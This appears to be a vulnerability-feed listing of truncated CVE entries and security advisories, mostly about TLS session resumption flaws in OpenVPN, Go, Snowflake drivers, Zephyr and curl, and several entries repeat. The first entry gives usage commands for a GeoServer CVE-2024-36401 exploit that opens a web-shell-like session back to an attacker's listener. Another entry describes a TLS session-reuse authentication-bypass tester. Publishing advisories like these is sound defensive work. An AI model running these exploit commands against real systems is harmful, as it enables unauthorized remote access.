CVE-2024-36401

CVE-2024-36401 ChokapikkのCVE-2024-36401のリミックスで、限られた環境でウェブシェルのような動作を可能にします。また、自己署名TLSセッションを許可します。HTTPセッションは少し... 使用方法: git clone https://github.com/keelanbrady1011/CVE-2024-36401 && cd CVE-2024-36401 pip install -r requirements.txt python3 geoshell.py --lhost OWNIP --lport PORT --url http://TARGET...

Ubuntu 22.04 LTS / 24.04 LTS / 26.04 LTS : OpenVPN vulnerabilities (USN-8852-1)

The remote Ubuntu 22.04 LTS / 24.04 LTS / 26.04 LTS host has a package installed that is affected by multiple vulnerabilities as referenced in the USN-8852-1 advisory. It was discovered that OpenVPN had a use-after-free vulnerability in its TLS session handling. An attacker could possibly use thi...

Improper Certificate Validation

Snowflake drivers are vulnerable to Improper Certificate Validation. The vulnerability is due to improper validation of OCSP responses and treating definitive verification failures as transient, which allows a man-in-the-middle attacker with a revoked certificate and its private key to establish ...

USN-8852-1 openvpn vulnerabilities

It was discovered that OpenVPN had a use-after-free vulnerability in its TLS session handling. An attacker could possibly use this issue to cause OpenVPN to crash, resulting in a denial of service, or execute arbitrary code. CVE-2026-84471 It was discovered that OpenVPN incorrectly handled...

USN-8852-1: OpenVPN vulnerabilities

It was discovered that OpenVPN had a use-after-free vulnerability in its TLS session handling. An attacker could possibly use this issue to cause OpenVPN to crash, resulting in a denial of service, or execute arbitrary code. CVE-2026-84471 It was discovered that OpenVPN incorrectly handled...

crypto/tls: crypto/tls: Incorrect certificate validation during TLS session resumption

A flaw was found in the crypto/tls component. This vulnerability occurs during Transport Layer Security TLS session resumption when certificate authority CA settings are modified between the initial and resumed handshakes. An attacker could exploit this to bypass certificate validation, allowing ...

crypto/tls: crypto/tls: Incorrect certificate validation during TLS session resumption

A flaw was found in the crypto/tls component. This vulnerability occurs during Transport Layer Security TLS session resumption when certificate authority CA settings are modified between the initial and resumed handshakes. An attacker could exploit this to bypass certificate validation, allowing ...

crypto/tls: crypto/tls: Incorrect certificate validation during TLS session resumption

A flaw was found in the crypto/tls component. This vulnerability occurs during Transport Layer Security TLS session resumption when certificate authority CA settings are modified between the initial and resumed handshakes. An attacker could exploit this to bypass certificate validation, allowing ...

RHEL 9 : git-lfs (RHSA-2026:72276)

The remote Redhat Enterprise Linux 9 host has a package installed that is affected by multiple vulnerabilities as referenced in the RHSA-2026:72276 advisory. Git Large File Storage LFS replaces large files such as audio samples, videos, datasets, and graphics with text pointers inside Git, while...

CVE-2025-23419

🔐 TLS Session Reuse Exploit Tester $ BY XIT TLSセッション再利用の脆弱性をテストするためのPythonベースのツールです。設定ミスのあるサーバーで認証バイパスを引き起こす可能性があります。 ⚠️ 免責事項 このツールは教育目的および許可を得たセキュリティテスト専用 です。 適切な許可なくシステムで使用しないでください。 📌 説明 このスクリプトは、TLSセッション再利用シナリオのシミュレーションを試みます： 1. クライアント証明書認証を要求する サーバーに接続します 2. TLSセッションを確立します 3...

details-for-CVE-2022-46505

CVE-2022-46505 세부 정보 MatrixSSL 세션 재개 버그 1. 버그 설명 MatrixSSL 4.5.1-open 및 이전 버전의 문제로 인해 SessionID 필드가 안전하게 검사되지 않아 모두 0인 MasterSecret 이 잘못 사용되어 비밀 데이터를 복호화할 수 있습니다. 2. 영향을 받는 버전 MatrixSSL 4.5.1-open 및 이전 버전 3. 취약점 유형 TLS 재개 세션 복호화 4. 버그 세부 사항 MatrixSSL 서버는 협상된 세션 정보를 리스트를 통해 저장합니다. static...

crypto/tls: crypto/tls: Incorrect certificate validation during TLS session resumption

A flaw was found in the crypto/tls component. This vulnerability occurs during Transport Layer Security TLS session resumption when certificate authority CA settings are modified between the initial and resumed handshakes. An attacker could exploit this to bypass certificate validation, allowing ...

crypto/tls: crypto/tls: Incorrect certificate validation during TLS session resumption

A flaw was found in the crypto/tls component. This vulnerability occurs during Transport Layer Security TLS session resumption when certificate authority CA settings are modified between the initial and resumed handshakes. An attacker could exploit this to bypass certificate validation, allowing ...

CVE-2026-15924 Use-after-free / double-free from unsynchronized concurrent access to the TLS client session cache in Zephyr sockets

Zephyr's TLS socket layer in subsys/net/lib/sockets/socketstls.c keeps a single process-global array, clientcache, of cached client sessions that is shared by every TLS socket context. The functions that mutate and read it — tlssessionsave, tlssessionget, tlssessioncachereset, and the settings...

CVE-2026-15924

Zephyr RTOS TLS socket layer contains a use-after-free and double-free vulnerability in the process-global client_cache array shared across all TLS socket contexts. The root cause is that the per-socket mutex (ctx->lock) provides no mutual exclusion between different sockets concurrently acces...

OESA-2026-3783 openvpn security update

OpenVPN is a full-featured open source SSL VPN solution that accommodates a wide range of configurations, including remote access, site-to-site VPNs, Wi-Fi security, and enterprise-scale remote access solutions with load balancing, failover, and fine-grained access-controls. Starting with the...

OESA-2026-3784 openvpn security update

OpenVPN is a full-featured open source SSL VPN solution that accommodates a wide range of configurations, including remote access, site-to-site VPNs, Wi-Fi security, and enterprise-scale remote access solutions with load balancing, failover, and fine-grained access-controls. Starting with the...

Astra Linux - Vulnerability in Golang-1.23

During the resumption of a session in cryptography/TLS, if the underlying Config has its ClientCAs or RootCAs fields changed between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This can occur when a user calls Config.Clone and...

curl: TLS session resumption client cert bypass with CURLOPT_SSL_CTX_FUNCTION

AI use Cipher, by Causal Security, was used to find, exploit and confirm this issue. A further check was carried out to establish, as far as is possible from outside the project, that it is neither a duplicate of an existing report or advisory nor documented as intended behaviour. Everything belo...

SUSE CVE-2026-85525

Improper OCSP response validation in the Snowflake Python, Go, JDBC, and Node.js drivers allowed a revoked TLS certificate to be accepted as valid, because OCSP responses were not reliably bound to the certificate being validated and definitive verification failures were treated as transient. A...